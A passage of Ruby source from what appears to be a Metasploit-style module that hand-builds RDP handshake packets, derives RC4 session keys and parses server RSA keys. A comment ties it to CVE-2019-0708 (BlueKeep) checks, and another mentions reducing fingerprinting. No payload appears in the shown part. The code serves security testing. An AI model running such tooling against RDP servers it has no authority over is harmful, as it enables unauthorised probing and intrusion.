unsigned\r\n      channel_id +                                                             # PDUSource: 0x03f1 = 1009\r\n      data\r\n    )\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31\r\n  ## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2\r\n  def rdp_build_share_data_header(type, data)\r\n    uncompressed_len = data.length + 4\r\n\r\n    return(\r\n      \"\\xea\\x03\\x01\\x00\" +                                                     # shareId: 66538\r\n      \"\\x00\" +                                                                 # pad1\r\n      \"\\x01\" +                                                                 # streamID: 1\r\n      [uncompressed_len].pack(\"S<\") +                                          # uncompressedLength - 16 bit, unsigned int\r\n      [type].pack(\"C\") +                                                       # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2\r\n      \"\\x00\" +                                                                 # compressedType: 0\r\n      \"\\x00\\x00\" +                                                             # compressedLength: 0\r\n      data\r\n    )\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b\r\n  ## Virtual Channel PDU 2.2.6.1\r\n  def rdp_build_virtual_channel_pdu(flags, data)\r\n    data_len = data.length\r\n\r\n    return(\r\n      [data_len].pack(\"L<\") +                                                  # length\r\n      [flags].pack(\"L<\") +                                                     # flags\r\n      data\r\n    )\r\n  end\r\n\r\n  def rdp_calculate_rc4_keys(client_random, server_random)\r\n    ## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).\r\n    preMasterSecret = client_random[0..23] + server_random[0..23]\r\n\r\n    ## PreMasterHash(I) = SaltedHash(preMasterSecret, I)\r\n    ## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).\r\n    masterSecret = rdp_salted_hash(preMasterSecret, \"A\", client_random,server_random) +  rdp_salted_hash(preMasterSecret, \"BB\", client_random, server_random) + rdp_salted_hash(preMasterSecret, \"CCC\", client_random, server_random)\r\n\r\n    ## MasterHash(I) = SaltedHash(MasterSecret, I)\r\n    ## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).\r\n    sessionKeyBlob = rdp_salted_hash(masterSecret, \"X\", client_random, server_random) +  rdp_salted_hash(masterSecret, \"YY\", client_random, server_random) + rdp_salted_hash(masterSecret, \"ZZZ\", client_random, server_random)\r\n\r\n    ## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).\r\n    initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)\r\n\r\n    ## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).\r\n    initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)\r\n\r\n    macKey = sessionKeyBlob[0..15]\r\n\r\n    return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob\r\n  end\r\n\r\n  def rdp_connection_initiation()\r\n    ## Code to check if RDP is open or not.\r\n    vprint_status(\"Verifying RDP protocol...\")\r\n\r\n    vprint_status(\"Attempting to connect using RDP security\")\r\n    rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))\r\n\r\n    received = sock.get_once(-1, 5)\r\n\r\n    ## TODO: fix it.\r\n    if (received and received.include? \"\\x00\\x12\\x34\\x00\")\r\n      return(true)\r\n    end\r\n\r\n    return(false)\r\n  end\r\n\r\n  ##  FinalHash(K) = MD5(K + ClientRandom + ServerRandom).\r\n  def rdp_final_hash(k, client_random_bytes, server_random_bytes)\r\n    md5 = Digest::MD5.new\r\n\r\n    md5 << k\r\n    md5 << client_random_bytes\r\n    md5 << server_random_bytes\r\n\r\n    return([md5.hexdigest].pack(\"H*\"))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94\r\n  ## mac_salt_key = \"W\\x13\\xc58\\x7f\\xeb\\xa9\\x10*\\x1e\\xddV\\x96\\x8b[d\"\r\n  ## data_content = \"\\x12\\x00\\x17\\x00\\xef\\x03\\xea\\x03\\x02\\x00\\x00\\x01\\x04\\x00$\\x00\\x00\\x00\"\r\n  ## hmac         = rdp_hmac(mac_salt_key, data_content)                       # hexlified: \"22d5aeb486994a0c785dc929a2855923\".\r\n  def rdp_hmac(mac_salt_key, data_content)\r\n    sha1 = Digest::SHA1.new\r\n    md5 = Digest::MD5.new\r\n\r\n    pad1 = \"\\x36\" * 40\r\n    pad2 = \"\\x5c\" * 48\r\n\r\n    sha1 << mac_salt_key\r\n    sha1 << pad1\r\n    sha1 << [data_content.length].pack('<L')\r\n    sha1 << data_content\r\n\r\n    md5 << mac_salt_key\r\n    md5 << pad2\r\n    md5 << [sha1.hexdigest].pack(\"H*\")\r\n\r\n    return([md5.hexdigest].pack(\"H*\"))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c\r\n  ## Parse Server MCS Connect Response PUD - 2.2.1.4\r\n  def rdp_parse_connect_response(pkt)\r\n    ptr = 0\r\n    rdp_pkt = pkt[0x49..pkt.length]\r\n\r\n    while(ptr < rdp_pkt.length)\r\n      header_type = rdp_pkt[ptr..ptr + 1]\r\n      header_length = rdp_pkt[ptr + 2..ptr + 3].unpack(\"S<\")[0]\r\n      # vprint_status(\"header: #{bin_to_hex(header_type)}, len: #{header_length}\")\r\n\r\n      if(header_type == \"\\x02\\x0c\")\r\n        # vprint_status(\"Security header\")\r\n\r\n        server_random = rdp_pkt[ptr + 20..ptr + 51]\r\n        public_exponent = rdp_pkt[ptr + 84..ptr + 87]\r\n\r\n        modulus = rdp_pkt[ptr + 88..ptr + 151]\r\n        # vprint_status(\"modulus_old: #{bin_to_hex(modulus)}\")\r\n\r\n        rsa_magic = rdp_pkt[ptr + 68..ptr + 71]\r\n        if(rsa_magic != \"RSA1\")\r\n          print_error(\"Server cert isn't RSA, this scenario isn't supported (yet).\")\r\n          raise RdpCommunicationError\r\n        end\r\n        # vprint_status(\"RSA magic: #{rsa_magic}\")\r\n        \r\n        bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack(\"L<\")[0] - 8\r\n        vprint_status(\"RSA #{bitlen}-bits\")\r\n\r\n        modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]\r\n        # vprint_status(\"modulus_new: #{bin_to_hex(modulus)}\")\r\n      end\r\n\r\n      ptr += header_length\r\n    end\r\n\r\n    # vprint_status(\"SERVER_MODULUS:  #{bin_to_hex(modulus)}\")\r\n    # vprint_status(\"SERVER_EXPONENT: #{bin_to_hex(public_exponent)}\")\r\n    # vprint_status(\"SERVER_RANDOM:   #{bin_to_hex(server_random)}\")\r\n\r\n    rsmod = bytes_to_bignum(modulus)\r\n    rsexp = bytes_to_bignum(public_exponent)\r\n    rsran = bytes_to_bignum(server_random)\r\n\r\n    vprint_status(\"MODULUS:  #{bin_to_hex(modulus)} - #{rsmod.to_s}\")\r\n    vprint_status(\"EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}\")\r\n    vprint_status(\"SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}\")\r\n\r\n    return rsmod, rsexp, rsran, server_random, bitlen\r\n  end\r\n\r\n  def rdp_rc4_crypt(rc4obj, data)\r\n    rc4obj.encrypt(data)\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f\r\n  ## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))\r\n  def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)\r\n    sha1 = Digest::SHA1.new\r\n    md5 = Digest::MD5.new\r\n\r\n    sha1 << i_bytes\r\n    sha1 << s_bytes\r\n    sha1 << client_random_bytes\r\n    sha1 << server_random_bytes\r\n\r\n    md5 << s_bytes\r\n    md5 << [sha1.hexdigest].pack(\"H*\")\r\n\r\n    return([md5.hexdigest].pack(\"H*\"))\r\n  end\r\n\r\n  def rdp_recv()\r\n    buffer_1 = sock.get_once(4, 5)\r\n    raise RdpCommunicationError unless buffer_1                                # nil due to a timeout\r\n\r\n    buffer_2 = sock.get_once(buffer_1[2..4].unpack(\"S>\")[0], 5)\r\n    raise RdpCommunicationError unless buffer_2                                # nil due to a timeout\r\n\r\n    vprint_status(\"Received data: #{bin_to_hex(buffer_1 + buffer_2)}\")\r\n    return(buffer_1 + buffer_2)\r\n  end\r\n\r\n  def rdp_send(data)\r\n    vprint_status(\"Send data: #{bin_to_hex(data)}\")\r\n\r\n    sock.put(data)\r\n  end\r\n\r\n  def rdp_sendrecv(data)\r\n    rdp_send(data)\r\n\r\n    return(rdp_recv())\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10\r\n  ## Client X.224 Connect Request PDU - 2.2.1.1\r\n  def pdu_negotiation_request(user_name = \"\", requested_protocols = RDPConstants::PROTOCOL_RDP)\r\n    ## Blank username is valid, nil is random.\r\n    user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)\r\n    tpkt_len = user_name.length + 38\r\n    x224_len = user_name.length + 33\r\n\r\n    return(\r\n      \"\\x03\\x00\" +                                                             # TPKT Header version 03, reserved 0\r\n      [tpkt_len].pack(\"S>\") +                                                  # TPKT length: 43\r\n      [x224_len].pack(\"C\") +                                                   # X.224 LengthIndicator\r\n      \"\\xe0\" +                                                                 # X.224 Type: Connect Request\r\n      \"\\x00\\x00\" +                                                             # dst reference\r\n      \"\\x00\\x00\" +                                                             # src reference\r\n      \"\\x00\" +                                                                 # class and options\r\n      \"\\x43\\x6f\\x6f\\x6b\\x69\\x65\\x3a\\x20\\x6d\\x73\\x74\\x73\\x68\\x61\\x73\\x68\\x3d\" + # cookie - literal 'Cookie: mstshash='\r\n      user_name +                                                              # Identifier \"username\"\r\n      \"\\x0d\\x0a\" +                                                             # cookie terminator\r\n      \"\\x01\\x00\" +                                                             # Type: RDP Negotiation Request (0x01)\r\n      \"\\x08\\x00\" +                                                             # Length\r\n      [requested_protocols].pack('L<')                                         # requestedProtocols\r\n    )\r\n  end\r\n\r\n  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b\r\n  def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = \"rdesktop\", channels_defs = DEFAULT_CHANNELS_DEFS)\r\n    ## After negotiating TLS or NLA the connectInitial packet needs to include the\r\n    ## protocol selection that the server indicated in its negotiation response.\r\n\r\n    ## TODO: If this is pulled into an RDP library then the channel list likely\r\n    ## needs to be build dynamically. For example, MS_T120 likely should only\r\n    ## ever be sent as part of checks for CVE-2019-0708.\r\n\r\n    ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)\r\n    ## 15 characters + null terminator, converted to unicode\r\n    ## fixed length - 32 characters total\r\n    name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')\r\n    name_unicode += \"\\x00\" * (32 - name_unicode.length)\r\n\r\n    pdu = \"\\x7f\\x65\" +                                                         # T.125 Connect-Initial    (BER: Application 101)\r\n    \"\\x82\\x01\\xb2\" +                                                           # Length                   (BER: Length)\r\n    \"\\x04\\x01\\x01\" +                                                           # CallingDomainSelector: 1 (BER: OctetString)\r\n    \"\\x04\\x01\\x01\" +                                                           # CalledDomainSelector: 1  (BER: OctetString)\r\n    \"\\x01\\x01\\xff\" +                                                           # UpwaredFlag: True        (BER: boolean)\r\n\r\n    ## Connect-Initial: Target Parameters\r\n    \"\\x30\\x19\" +                                                               # TargetParamenters        (BER: SequenceOf)\r\n    ## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***\r\n    \"\\x02\\x01\\x22\\x02\\x01\\x02\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +\r\n\r\n    ## Connect-Intial: Minimum Parameters\r\n    \"\\x30\\x19\" +                                                               # MinimumParameters        (BER: SequencOf)\r\n    \"\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\x04\\x20\\x02\\x01\\x02\" +\r\n\r\n    ## Connect-Initial: Maximum Parameters\r\n    \"\\x30\\x1c\" +                                                               # MaximumParameters        (BER: SequencOf)\r\n    \"\\x02\\x02\\xff\\xff\\x02\\x02\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +\r\n\r\n    ## Connect-Initial: UserData\r\n    \"\\x04\\x82\\x01\\x51\" +                                                       # UserData, length 337     (BER: OctetString)\r\n\r\n    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used\r\n    \"\\x00\\x05\" +                                                               # object length\r\n    \"\\x00\\x14\\x7c\\x00\\x01\" +                                                   # object: OID 0.0.20.124.0.1 = Generic Conference Control\r\n    \"\\x81\\x48\" +                                                               # Length: ??? (Connect PDU)\r\n    \"\\x00\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\" +                                       # T.124 Connect PDU, Conference name 1\r\n    \"\\x44\\x75\\x63\\x61\" +                                                       # h221NonStandard: 'Duca' (client-to-server H.221 key)\r\n    \"\\x81\\x3a\" +                                                               # Length: ??? (T.124 UserData section)\r\n\r\n    ## Client MCS Section - 2.2.1.3\r\n    \"\\x01\\xc0\" +                                                               # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2\r\n    \"\\xea\\x00\" +                                                               # Length: 234 (includes header)\r\n    \"\\x0a\\x00\\x08\\x00\" +                                                       # version: 8.1 (RDP 5.0 -> 8.1)\r\n    \"\\x80\\x07\" +                                                               # desktopWidth: 1920\r\n    \"\\x38\\x04\" +                                                               # desktopHeigth: 1080\r\n    \"\\x01\\xca\" +                                                               # colorDepth: 8 bpp\r\n    \"\\x03\\xaa\" +                                                               # SASSequence: 43523\r\n    \"\\x09\\x04\\x00\\x00\" +                                                       # keyboardLayout: 1033 (English US)\r\n    \"\\xee\\x42\\x00\\x00\" +                                                       # clientBuild: ????\r\n    [name_unicode].pack(\"a*\") +                                                # clientName\r\n    \"\\x04\\x00\\x00\\x00\" +                                                       # keyboardType: 4 (IBMEnhanced 101 or 102)\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # keyboadSubtype: 0\r\n    \"\\x0c\\x00\\x00\\x00\" +                                                       # keyboardFunctionKey: 12\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # imeFileName (64 bytes)\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x01\\xca\" +                                                               # postBeta2ColorDepth: 8 bpp\r\n    \"\\x01\\x00\" +                                                               # clientProductID: 1\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # serialNumber: 0\r\n    \"\\x18\\x00\" +                                                               # highColorDepth: 24 bpp\r\n    \"\\x0f\\x00\" +                                                               # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)\r\n    \"\\xaf\\x07\" +                                                               # earlyCapabilityFlags\r\n    \"\\x62\\x00\\x63\\x00\\x37\\x00\\x38\\x00\\x65\\x00\\x66\\x00\\x36\\x00\\x33\\x00\" +       # clientDigProductID (64 bytes)\r\n    \"\\x2d\\x00\\x39\\x00\\x64\\x00\\x33\\x00\\x33\\x00\\x2d\\x00\\x34\\x00\\x31\\x00\" +\r\n    \"\\x39\\x38\\x00\\x38\\x00\\x2d\\x00\\x39\\x00\\x32\\x00\\x63\\x00\\x66\\x00\\x2d\" +\r\n    \"\\x00\\x00\\x31\\x00\\x62\\x00\\x32\\x00\\x64\\x00\\x61\\x00\\x42\\x42\\x42\\x42\" +\r\n    \"\\x07\" +                                                                   # connectionType: 7\r\n    \"\\x00\" +                                                                   # pad1octet\r\n    \r\n    ## serverSelectedProtocol - After negotiating TLS or CredSSP this value\r\n    ## must match the selectedProtocol value from the server's Negotiate\r\n    ## Connection confirm PDU that was sent before encryption was started.\r\n    [selected_proto].pack('L<') +                                              # \"\\x01\\x00\\x00\\x00\"\r\n    \r\n    \"\\x56\\x02\\x00\\x00\" +\r\n    \"\\x50\\x01\\x00\\x00\" +\r\n    \"\\x00\\x00\" +\r\n    \"\\x64\\x00\\x00\\x00\" +\r\n    \"\\x64\\x00\\x00\\x00\" +\r\n\r\n    \"\\x04\\xc0\" +                                                               # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5\r\n    \"\\x0c\\x00\" +                                                               # Length: 12 (includes header)\r\n    \"\\x15\\x00\\x00\\x00\" +                                                       # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # RedirectedSessionID\r\n    \"\\x02\\xc0\" +                                                               # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3\r\n    \"\\x0c\\x00\" +                                                               # Length: 12 (includes header)\r\n    \"\\x1b\\x00\\x00\\x00\" +                                                       # encryptionMethods: 3 (40 bit | 128 bit)\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # extEncryptionMethods (French locale only)\r\n    \"\\x03\\xc0\" +                                                               # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4\r\n    \"\\x38\\x00\" +                                                               # Length: 56 (includes header)\r\n    channels_defs\r\n\r\n    ## Fix. for packet modification.\r\n    ## T.125 Connect-Initial\r\n    size_1 = [pdu.length - 5].pack(\"s\")                                        # Length (BER: Length)\r\n    pdu[3] = size_1[1]\r\n    pdu[4] = size_1[0]\r\n\r\n    ## Connect-Initial: UserData\r\n    size_2 = [pdu.length - 102].pack(\"s\")                                      # UserData, length (BER: OctetString)\r\n    pdu[100] = size_2[1]\r\n    pdu[101] = size_2[0]\r\n\r\n    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used\r\n    size_3 = [pdu.length - 111].pack(\"s\")                                      # Length (Connect PDU)\r\n    pdu[109] = \"\\x81\"\r\n    pdu[110] = size_3[0]\r\n\r\n    size_4 = [pdu.length - 125].pack(\"s\")                                      # Length (T.124 UserData section)\r\n    pdu[123] = \"\\x81\"\r\n    pdu[124] = size_4[0]\r\n\r\n    ## Client MCS Section - 2.2.1.3\r\n    size_5 = [pdu.length - 383].pack(\"s\")                                      # Length (includes header)\r\n    pdu[385] = size_5[0]\r\n\r\n    rdp_build_data_tpdu(pdu)\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f\r\n  ## Client Security Exchange PDU - 2.2.1.10\r\n  def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)\r\n    encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)\r\n    encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)\r\n\r\n    bitlen += 8                                                                # Pad with size of TS_SECURITY_PACKET header\r\n\r\n    userdata_length = 8 + bitlen\r\n    userdata_length_low = userdata_length & 0xFF\r\n    userdata_length_high = userdata_length / 256\r\n    flags = 0x80 | userdata_length_high\r\n\r\n    pdu = \"\\x64\" +                                                             # T.125 sendDataRequest\r\n    \"\\x00\\x08\" +                                                               # intiator userId\r\n    \"\\x03\\xeb\" +                                                               # channelId = 1003\r\n    \"\\x70\" +                                                                   # dataPriority = high, segmentation = begin | end\r\n    [flags].pack(\"C\") +\r\n    [userdata_length_low].pack(\"C\") +                                          # UserData length\r\n    \r\n    # TS_SECURITY_PACKET - 2.2.1.10.1\r\n    \"\\x01\\x00\" +                                                               # securityHeader flags\r\n    \"\\x00\\x00\" +                                                               # securityHeader flagsHi\r\n    [bitlen].pack(\"L<\") +                                                      # TS_ length\r\n    encrypted_rcran +                                                          # encryptedClientRandom - 64 bytes\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"                                         # 8 bytes rear padding (always present)\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c\r\n  ## Client MCS Erect Domain Request PDU - 2.2.1.5\r\n  def pdu_erect_domain_request()\r\n    pdu = \"\\x04\" +                                                             # T.125 ErectDomainRequest\r\n    \"\\x01\\x00\" +                                                               # subHeight   - length 1, value 0\r\n    \"\\x01\\x00\"                                                                 # subInterval - length 1, value 0\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\\\r\n  ## Client MCS Attach User Request PDU - 2.2.1.6\r\n  def pdu_attach_user_request()\r\n    pdu = \"\\x28\"                                                               # T.125 AttachUserRequest\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b\r\n  ## Client MCS Channel Join Request PDU -2.2.1.8\r\n  def pdu_channel_request(user1, channel_id)\r\n    pdu = \"\\x38\" + [user1, channel_id].pack(\"nn\")                              # T.125 ChannelJoinRequest\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d\r\n  ## TS_INFO_PACKET - 2.2.1.11.1.1\r\n  def pdu_client_info(user_name, domain_name = \"\", ip_address = \"\")\r\n    ## Max. len for 4.0/6.0 servers is 44 bytes including terminator.\r\n    ## Max. len for all other versions is 512 including terminator.\r\n    ## We're going to limit to 44 (21 chars + null -> unicode) here.\r\n    \r\n    ## Blank username is valid, nil = random.\r\n    user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?\r\n    user_unicode = Rex::Text.to_unicode(user_name[0..20],  type = 'utf-16le')\r\n    uname_len = user_unicode.length\r\n\r\n    ## Domain can can be, and for rdesktop typically is, empty.\r\n    ## Max. len for 4.0/5.0 servers is 52 including terminator.\r\n    ## Max. len for all other versions is 512 including terminator.\r\n    ## We're going to limit to 52 (25 chars + null -> unicode) here.\r\n    domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')\r\n    domain_len = domain_unicode.length\r\n\r\n    ## This address value is primarily used to reduce the fields by which this\r\n    ## module can be fingerprinted. It doesn't show up in Windows logs.\r\n    ## clientAddress + null terminator\r\n    ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + \"\\x00\\x00\"\r\n    ip_len = ip_unicode.length\r\n    \r\n    pdu = \"\\xa1\\xa5\\x09\\x04\" +\r\n    \"\\x09\\x04\\xbb\\x47\" +                                                       # CodePage\r\n    \"\\x03\\x00\\x00\\x00\" +                                                       # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY\r\n    [domain_len].pack(\"S<\") +                                                  # cbDomain (length value) - EXCLUDES null terminator\r\n    [uname_len].pack(\"S<\") +                                                   # cbUserName (length value) - EXCLUDES null terminator\r\n    \"\\x00\\x00\" +                                                               # cbPassword (length value)\r\n    \"\\x00\\x00\" +                                                               # cbAlternateShell (length value)\r\n    \"\\x00\\x00\" +                                                               # cbWorkingDir (length value)\r\n    [domain_unicode].pack(\"a*\") +                                              # Domain\r\n    \"\\x00\\x00\" +                                                               # Domain null terminator, EXCLUDED from value of cbDomain\r\n    [user_unicode].pack(\"a*\") +                                                # UserName\r\n    \"\\x00\\x00\" +                                                               # UserName null terminator, EXCLUDED FROM value of cbUserName\r\n    \"\\x00\\x00\" +                                                               # Password - empty\r\n    \"\\x00\\x00\" +                                                               # AlternateShell - empty\r\n\r\n    ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1\r\n    \"\\x02\\x00\" +                                                               # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically\r\n    [ip_len].pack(\"S<\") +                                                      # cbClientAddress (length value) - INCLUDES terminator ... for reasons.\r\n    [ip_unicode].pack(\"a*\") +                                                  # clientAddress (unicode + null terminator (unicode)\r\n\r\n    \"\\x3c\\x00\" +                                                               # cbClientDir (length value): 60\r\n    \"\\x43\\x00\\x3a\\x00\\x5c\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x4e\\x00\\x54\\x00\" +       # clientDir - 'C:\\WINNT\\System32\\mstscax.dll' + null terminator\r\n    \"\\x5c\\x00\\x53\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x65\\x00\\x6d\\x00\\x33\\x00\" +\r\n    \"\\x32\\x00\\x5c\\x00\\x6d\\x00\\x73\\x00\\x74\\x00\\x73\\x00\\x63\\x00\\x61\\x00\" +\r\n    \"\\x78\\x00\\x2e\\x00\\x64\\x00\\x6c\\x00\\x6c\\x00\\x00\\x00\" +\r\n    \r\n    ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes\r\n    ## These are the default values for rdesktop\r\n    \"\\xa4\\x01\\x00\\x00\" +                                                       # Bias\r\n\r\n    ## StandardName - 'GTB,normaltid'\r\n    \"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +\r\n    \"\\x20\\x00\\x53\\x00\\x74\\x00\\x61\\x00\\x6e\\x00\\x64\\x00\\x61\\x00\\x72\\x00\" +\r\n    \"\\x64\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # StandardDate\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # StandardBias\r\n\r\n    ## DaylightName - 'GTB,sommartid'\r\n    \"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +\r\n    \"\\x20\\x00\\x44\\x00\\x61\\x00\\x79\\x00\\x6c\\x00\\x69\\x00\\x67\\x00\\x68\\x00\" +\r\n    \"\\x74\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # DaylightDate\r\n    \"\\xc4\\xff\\xff\\xff\" +                                                       # DaylightBias\r\n\r\n    \"\\x01\\x00\\x00\\x00\" +                                                       # clientSessionId\r\n    \"\\x06\\x00\\x00\\x00\" +                                                       # performanceFlags\r\n    \"\\x00\\x00\" +                                                               # cbAutoReconnectCookie\r\n    \"\\x64\\x00\\x00\\x00\"\r\n\r\n    return(pdu)\r\n  end\r\n\r\n  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48\r\n  # Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1\r\n  def pdu_client_confirm_active()\r\n    pdu  = \"\\xea\\x03\\x01\\x00\" +                                                # shareId: 66538\r\n    \"\\xea\\x03\" +                                                               # originatorId\r\n    \"\\x06\\x00\" +                                                               # lengthSourceDescriptor: 6\r\n    \"\\x3e\\x02\" +                                                               # lengthCombinedCapabilities: ???\r\n    \"\\x4d\\x53\\x54\\x53\\x43\\x00\" +                                               # SourceDescriptor: 'MSTSC'\r\n    \"\\x17\\x00\" +                                                               # numberCapabilities: 23\r\n    \"\\x00\\x00\" +                                                               # pad2Octets\r\n    \"\\x01\\x00\" +                                                               # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET\r\n    \"\\x18\\x00\" +                                                               # lengthCapability: 24\r\n    \"\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\" +\r\n    \"\\x02\\x00\" +                                                               # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET\r\n    \"\\x1c\\x00\" +                                                               # lengthCapability: 28\r\n    \"\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\" +\r\n    \"\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\" +\r\n    